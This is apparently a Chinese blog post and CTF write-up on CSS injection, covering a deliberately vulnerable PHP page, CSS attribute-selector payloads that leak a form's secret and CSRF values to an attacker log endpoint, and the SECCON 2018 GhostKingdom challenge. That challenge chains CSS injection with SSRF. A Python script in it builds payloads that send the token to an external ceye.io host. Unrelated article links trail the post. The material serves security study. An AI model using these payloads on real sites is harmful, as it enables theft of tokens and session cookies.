css注入获取网页中的数据
<style><?php echo htmlspecialchars($_GET['x']);?></style>
<br><br><br><br>
<form action="http://example.com" id="form2">
<input type="text" id="secret" name="secret" value="abc">
<input type="hidden" name="csrf" value="afanti">
</form>
payload:
input[value^='a'] { background-image: url(http://localhost/css-improved/attacker/log.php/a); }
input[value^='ab'] { background-image: url(http://localhost/css-improved/attacker/log.php/ab); }
input[value^='abc'] { background-image: url(http://localhost/css-improved/attacker/log.php/abc); }
input[name="csrf"][value^="afanta"] {
background: url(http://localhost/css-improved/attacker/log.php/afanta);
}
input[name="csrf"][value^="afantb"] {
background: url(http://localhost/css-improved/attacker/log.php/afantb);
}
input[name='csrf'][value^='afanti'] {
background: url(http://localhost/css-improved/attacker/log.php/afanti);
}
当获取的参数正确时,会发送一个get请求。

实例 css注入+ssrf:
第一个选项卡存在css注入
当发送数据的时候会发送如下数据包
http://ghostkingdom.pwn.seccon.jp/?css=c3BhbntiYWNrZ3JvdW5kLWNvbG9yOnJlZDtjb2xvcjp5ZWxsb3d9&msg=1111111111&action=msgadm2
c3BhbntiYWNrZ3JvdW5kLWNvbG9yOnJlZDtjb2xvcjp5ZWxsb3d9解码span{background-color:red;color:yellow}在这里可以注入css
第二个选项卡存在ssrf
第三个选项卡提示需要本地网络才能使用,尝试发现通过 X-Forwarded-For 等 header 无效,说明需要ssrf结合css注入来模拟本地登陆。

- 通过 SSRF 访问 http://0.0.0.0/?user=密码&pass=账号&action=login 在服务端登录
- 通过 SSRF 访问 http://0.0.0.0/?css=payload&action=msgadm2 触发 XSS,逐个字节爆破你的 cookie
- 替换cookie就能upload image了
成功登陆

通过如下脚本生成Payload实现css注入
import base64
CHARLIST = "" + "abcdef"
URL = "http://0/?msg=master&action=msgadm2&css="
#
known = ""
buf = ""
for char in CHARLIST:
buf += """input[name="csrf"][value^="{}"] {{
background: url(http://11.on1sw1.ceye.io/{});
}}""".format(known+char,known+char)
print(URL + base64.b64encode(buf.encode('utf-8')).decode('utf-8'))
当注入成功就会将csrf的vlaue发到ceye上,将cookie替换就能有upload image功能。
参考链接
https://curesec.com/blog/article/blog/Reading-Data-via-CSS-Injection-180.html
http://zeroyu.xyz/2018/10/29/SECCON-2018-Qualis-GhostKingdom/
https://html5sec.org/cssession/
css注入获取网页中的数据的更多相关文章
- 使用 CSS 选择器从网页中提取数据
在 R 中,关于网络爬虫最简单易用的扩展包是 rvest.运行以下代码从 CRAN 上安装:install.packages("rvest")首先,加载包并用 read_html( ...
- 使用jquery获取网页中图片的高度——解惑
jQuery获取网页中图片的高度 使用jquery获取网页中图片的高度其实很简单,有两种常用的方法都可以打到我们的目的 $("img").whith();(返回纯数字) $(&qu ...
- 使用selenium的方式获取网页中图片的链接和网页的链接,来判断是否是死链(二)
上一篇使用Java正则表达式来判断和获取图片的链接以及跳转的网址,这篇使用selenium的自带的API(getAttribute)来获取网页中指定的内容 实现内容:获取下面所有图片的链接地址以及跳转 ...
- Springboot中使用自定义参数注解获取 token 中用户数据
使用自定义参数注解获取 token 中User数据 使用背景 在springboot项目开发中需要从token中获取用户信息时通常的方式要经历几个步骤 拦截器中截获token TokenUtil工具类 ...
- php获取网页中图片并保存到本地
php获取网页中图片并保存到本地的代码,将网页中图片保存本地文件夹: save_img("http://www.jbxue.com" ?>
- 通过CSS让html网页中的内容不可选
*{ moz-user-select: -moz-none; -moz-user-select: none; -o-user-select:none; -khtml-user-select:none; ...
- php获取网页中图片并保存到本地的代码
php获取网页中图片并保存到本地的代码,将网页中图片保存本地文件夹: <?php /** * 获取网页中图片,并保存至本地 * by www.jbxue.com */ header(" ...
- php获取数组中重复数据的两种方法
分享下php获取数组中重复数据的两种方法. 1,利用php提供的函数,array_unique和array_diff_assoc来实现 <?php function FetchRepeatMem ...
- Web网页中动态数据区域的识别与抽取 Dynamical Data Regions Identification and Extraction in Web Pages
Web网页中动态数据区域的识别与抽取 Dynamical Data Regions Identification and Extraction in Web Pages Web网页中动态数据区域的识别 ...
随机推荐
- Linq学习以及简单用法
Linq学习 Linq(language Intergrated Query)即语言集成查询 LINQ是一组语言特性和API,使得你可以使用统一的方式编写各种查询.用于保存和检索来自不同数据源的数据, ...
- C# 配置文件操作类
注意添加引用:System.Configuration: using System; using System.Collections.Generic; using System.Text; usin ...
- 二、hdfs单节点安装
一.准备环境 在配置hdfs之前,我们需要先安装好hadoop的配置,本文主要讲述hdfs单节点的安装配置. hadoop的单节点安装配置请参考:https://www.cnblogs.com/lay ...
- git远程易错点
git pull下来用git branch -r查看远程分支才有数据 解决方案:指定当前工作目录工作分支,跟远程的仓库,分支之间的链接关系. 比如我们设置master对应远程仓库的master分支 g ...
- 关于一次美团java程序员招聘面试的经历
美团一面: 中间省略掉大概几个问题,因为我不记得了,下面记得的基本都是我没怎么答好的. 1.了解SOA,微服务吗? 2.分布式系统如何负载均衡?如何确定访问的资源在哪个服务器上? 一.轮询.二.随机. ...
- Shiro官方快速入门10min例子源码解析框架1-初始化
Shiro,一个易用的Java安全框架,主要集合身份认证.授权.加密和session管理的功能. 这系文章主要简介Shiro架构,并通过官方的quickstart例程分析最简实现下Shiro的工作流程 ...
- 记录一次teamview无法远程连接对方teamview的过程
问题描述: teamviewer 提示 超时后连接被阻断.您的许可证对您与伙伴的最大话时间有所限制...... 解决方法: 1.先将自己的teamview完全卸载,连同安装目录一起删除.尽量卸载完全 ...
- 前端动画小记---bilibili ( ゜-゜)つロ客户下载小动画
逛哔哩哔哩 ( ゜-゜)つロPC版的时候看到一个蛮有意思的动画,指导用户去下载客户端,于是摸索实现了一个. 原动画效果 可以看到,一个静止的小电视人,当鼠标移动到电视人身上时,电视人慢慢变身成为一个小 ...
- Leetcode算法比赛---- Lexicographical Numbers
问题描述 Given an integer n, return 1 - n in lexicographical order. For example, given 13, return: [1,10 ...
- Java学习笔记(4)----Public,Protected,Package,Private修饰符可见性
Java修饰符类型(public,protected,private,friendly) public的类.类属变量及方法,包内及包外的任何类均可以访问:protected的类.类属变量及方法,包内的 ...